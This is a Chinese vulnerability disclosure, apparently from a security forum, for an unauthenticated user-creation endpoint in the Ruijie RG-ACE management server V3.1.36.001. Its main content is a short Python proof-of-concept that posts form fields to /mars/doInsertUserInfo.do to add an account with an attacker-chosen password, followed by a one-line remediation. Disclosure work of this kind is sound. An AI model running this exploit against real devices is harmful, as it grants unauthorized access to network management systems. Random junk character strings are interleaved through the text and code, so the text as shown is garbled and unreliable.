锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)/ |) i- i! ~1 i) ^- p# C- `
$ W2 r3 H2 ?8 X2 E
( N" I, C$ F& f. ^; r2 e
测试的具体版本是( @# z' E- ]* z6 C
产品名称: 锐捷应用控制引擎
! }4 S- W5 I4 g' b& b" m4 U版本号: 3.1.36.001 TC
/ M" ]: `! Y8 g" l& u$ O编译时间: 2011042917305 i+ `" x: g4 D& B+ M
, {9 B) w+ F+ s/ s
, P8 G( G5 D3 l5 ?) |8 z漏洞证明:
7 S- E9 ?2 V d" s7 c5 d 3 x8 H0 I7 V: [/ @
) v5 R: E: g U7 ~8 y# j% y5 A! h
9 }! b1 s) K7 k" I7 P; t( Q% E& m1 E1 o& n G5 c, s
! ^, D. |/ Y8 ~2 b2 k; H) T6 f7 D: q/ v' W3 \& t! E
执行脚本
; G& E2 u- n) p1 e1 v5 q4 s#! /usr/bin/env python8 K' N& K* u+ N# z" Z
#coding=gbk
6 I8 y# @ Y& _#RG-ACE管理服务器 V3.1.36.001
' ]) k6 {$ J! ?- r0 _! }& `; ^import urllib2, urllib,cookielib
. k4 G7 \8 X! R% a2 m) V) iurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP8 J9 N8 `9 X* \8 _( @" m
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar())) }) z2 |3 T; s) g0 q8 S
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]( l7 R4 }/ h8 C* `8 Y8 `' u! @/ d
post=(("event","userManager.doInsertUserInfo"),
( _9 ~7 }* `* `8 V; u- }("useractionname","addButtonValue"),) b# O- \- f" d
("useropermanager","userManager"),9 S6 F) X& K# `6 X( i$ `/ n( O
("userName","t"), #######账号自己加
) W/ u) m2 a: b("pwd","aaaaaa"),######密码自己加9 g; c1 L6 m" P) {6 j; L0 ?, P
("trueName","ad"),$ A3 K0 P" W! L
("email",""),- v9 X n1 f% V6 ^. a! N
("mobilePhone",""),
! }- u2 T% ^* t1 J1 Z+ R2 X("officePhone",""),
7 d0 L, a& M" l- o("addr",""),2 a8 o) J7 |2 a+ Y4 T& C
("submit","确定"))5 R5 \* b# m9 |8 `* q2 r- e' r
urllib2.install_opener(opener)4 a5 z' b9 v3 K
p=urllib2.urlopen(url, urllib.urlencode(post)).read(), E- Y1 [/ m( i8 {
print "Done": \3 n, Z3 c6 J' v
6 c& P1 Z+ E2 T登录,连接设备
; o; Z X# i7 X- e
o Y5 L5 U- P) a& |) u
' p0 D# q v4 \% z( z, |0 u+ o/ g i3 }: k, |6 X
3 |5 w2 z0 G7 g0 U) u3 R& O1 p$ L8 X2 F$ S/ j6 _
默认的管理员admin权限更大点
# J- L# F6 S$ q& k6 y" f! I1 N4 Z% z- H$ f! f7 y. {# d* q' a, x
. O$ _, A2 [' E! y' _( U- e4 [
- V5 Q& z$ X( c! {" A" ~( _ ' _- r6 V$ }: S- P) N' n3 S0 h
2 e: _7 z: S. ^2 ]
修复方案:; |- s7 B3 y& \% x& e3 J: ^5 z
加强对接口的权限验证
1 A T: U5 ?+ g2 M" s$ {' e: T$ _; `% p0 ?: v
|